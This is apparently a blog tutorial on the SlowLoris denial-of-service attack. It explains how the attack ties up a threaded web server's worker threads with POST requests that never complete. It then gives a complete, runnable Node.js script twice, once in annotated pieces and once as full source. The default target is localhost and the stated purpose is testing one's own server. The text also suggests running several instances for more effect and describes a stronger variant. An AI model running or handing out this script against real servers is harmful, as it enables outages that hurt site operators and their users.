SlowLoris server DoS nodeJS implementation
securitynodejsjavascriptarchivedSlow Loris in Javascript
SlowLoris is a simple DoS (denial of service) attack that can be highly effective against threaded servers. It works on the principal of keeping a large number of worker threads busy on the target server by sending requests which never complete, relying on the server timing out the connection to free up the thread for another connection.
As threaded servers often limit the maximum simultaneous connections, this allows the attacker to occupy all of the allowed threads.
This attack is a very effective form of DoS in several ways; it does not require high bandwidth, so can be launched from machines with limited bandwidth available or slow proxies, and if the target server does not limit the allowed connections per IP address, a single attacker can easily bring down a server.
Thankfully, some hosts have hardened to this form of attack to varying degrees, but because of the nature of the attack and the way threaded servers work this methods persists as a viable and effective DoS or DDoS.
We'll look at a very simple implementation in nodeJS which you can use to test you LAMP/WAMP server at home. The test server I develop on is a recent Apache build on Ubuntu with about 100 worker threads and no connections per IP limit, so very easy to shut down in testing. Multiple instances of the script can be run simultaneously for cumulative results, as processor, memory, and bandwidth requirements are very low.
Example of script running and filling up server thread pool
SlowLoris NodeJS script
We start with some globals - net, which we use for the net library to establish and manage connections to the target server; maxConnections, which is our setting for how many simultaneous connections we want to maintain to the target; connections, which is an array to store and keep track of our active connections to the target, and host and port, which is the address and port we want the script to execute against. In our example, we're connecting to port 80 on localhost (127.0.0.1):
var net = require('net');
var maxConnections = 30;
var connections = [];
var host = "127.0.0.1";
var port = 80;
We'll also make a class for tracking and managing each connection. Our Connection class will take 2 arguments, h (host), and p (port), which the script will provide from our settings. We'll also set the properties, t (to keep track of time the connection is alive), and state (the current state of the connection: active if the connection is still working, otherwise ended or error).
function Connection(h, p)
{
this.state = 'active';
this.t = 0;
Additionally, we'll have a property client which manages the connection itself. When we establish the connection we pass the target port and host, and a handler function which notifies us we're sending data and sends an incomplete POST payload. The important thing is that the Content-Length property is longer than the information we send, so the server is still expecting more data from us.
In a better version of this attack we may periodically send more data to the server to keep refreshing the timeout for this connection, but would avoid ever sending the complete request (or at least take as long as possible in doing so).
this.client = net.connect({port:p, host:h}, () => {
process.stdout.write("Connected, Sending... ");
this.client.write("POST / HTTP/1.1\r\nHost: "+host+"\r\n" +
"Content-Type: application/x-www-form-urlenconded\r\n" +
"Content-Length: 385\r\n\r\nvx=321&d1=fire&l");
process.stdout.write("Written.\n");
});
We also want to handle some events for the connection. Firstly, if the target sends us any data back, it's not listening to us anymore. We'll show how much information was received and end this connection:
this.client.on('data', (data) => {
console.log("\t-Received "+data.length+" bytes...");
this.client.end();
});
Now to handle the end event, firstly calculating the time this connection was alive, and also changing the state of the Connection object to ended, so we know we don't need it anymore.
this.client.on('end', () => {
var d = Date.now() - this.t;
this.state = 'ended';
We'll also show the time the connection was alive and how many connections remain open:
console.log("\t-Disconnected (duration: " +
(d/1000).toFixed(3) +
" seconds, remaining open: " +
connections.length +
").");
});
We'll also add a handler for the error event; if an error occurs, we simply want to change the Connection state to error, so we know it can be removed:
this.client.on('error', () => {
this.state = 'error';
});
Finally, we add the Connection to our connections array, and the object method is complete.
connections.push(this);
}
Managing all the connections
To establish and track the connections, we'll set up an interval to run twice a second; it'll start with a flag (notify) that lets us know if we want to show output this iteration.
setInterval(() => {
var notify = false;
If we haven't reached our maxConnections connection limit, we create a new Connection and change our notify flag so we'll show output:
if(connections.length < maxConnections)
{
new Connection(host, port);
notify = true;
}
We'll also clear the connections array of any Connection objects that are not active.
connections = connections.filter(function(v) {
return v.state=='active';
});
Finally, if the notify flag is set we'll show how many active connections we currently have, and close the interval function, as well as specifying the interval repetition rate (500 milliseconds).
if(notify)
{
console.log("Active connections: " + connections.length +
" / " + maxConnections);
}
}, 500);
This script is simply saved as a .js file and launched with node (multiple instances can be launched for more effect):
node slowloris.js
Source code
#!/usr/bin/env node
var net = require('net');
var maxConnections = 30;
var connections = [];
var host = "127.0.0.1";
var port = 80;
function Connection(h, p)
{
this.state = 'active';
this.t = Date.now();
this.client = net.connect({port:p, host:h}, () => {
process.stdout.write("Connected, Sending... ");
this.client.write("POST / HTTP/1.1\r\nHost: "+host+"\r\n" +
"Content-Type: application/x-www-form-urlenconded\r\n" +
"Content-Length: 385\r\n\r\nvx=321&d1=fire&l");
process.stdout.write("Written.\n");
});
this.client.on('data', (data) => {
console.log("\t-Received "+data.length+" bytes...");
this.client.end();
});
this.client.on('end', () => {
var d = Date.now() - this.t;
this.state = 'ended';
console.log("\t-Disconnected (duration: " +
(d/1000).toFixed(3) +
" seconds, remaining open: " +
connections.length +
").");
});
this.client.on('error', () => {
this.state = 'error';
});
connections.push(this);
}
setInterval(() => {
var notify = false;
// Add another connection if we haven't reached
// our max:
if(connections.length < maxConnections)
{
new Connection(host, port);
notify = true;
}
// Remove dead connections
connections = connections.filter(function(v) {
return v.state=='active';
});
if(notify)
{
console.log("Active connections: " + connections.length +
" / " + maxConnections);
}
}, 500);